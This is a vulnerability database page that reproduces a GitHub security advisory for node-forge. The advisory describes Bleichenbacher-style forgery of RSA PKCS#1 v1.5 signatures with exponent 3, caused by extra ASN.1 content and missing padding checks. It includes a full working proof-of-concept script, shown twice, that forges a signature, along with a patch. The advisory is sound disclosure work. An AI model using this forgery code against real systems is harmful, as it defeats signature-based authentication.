GHSA-PPP5-5V6C-4JWP

Vulnerability from github – Published: 2026-03-26 22:02 – Updated: 2026-03-27 21:50
VLAI?
Summary
Forge has signature forgery in RSA-PKCS due to ASN.1 extra field
Details

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions: - Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5). - _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

  1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
  2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

  1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
  3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
  4. The script verifies both signatures with:
  5. forge verify (_parseAllDigestBytes: true), and
  6. Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).
  7. Confirm output includes:
  8. control-forge-strict: true
  9. control-node: true
  10. forgery (forge library, strict): true
  11. forgery (node/OpenSSL): false

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit:

control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
repro_min.js
#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();

Suggested Patch

  • Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block.
  • Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

  • RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
  • This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.

  • RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
  • lib/rsa.js key.verify(...) at lines ~1139-1223.
  • lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:02:35Z",
    "nvd_published_at": "2026-03-27T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  \u0027300d060960864801650304020105000420\u0027,\n  \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = \u00270\u0027 + h;\n  const b = Buffer.from(h, \u0027hex\u0027);\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge\u0027s default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n  const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n  if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n  const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n  const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n  const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n  console.log(\u0027control-node:\u0027, controlNode);\n  console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n  console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+              \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error(\u0027Encryption block is invalid.\u0027);\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-ppp5-5v6c-4jwp",
  "modified": "2026-03-27T21:50:55Z",
  "published": "2026-03-26T22:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    },
    {
      "type": "WEB",
      "url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc8017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…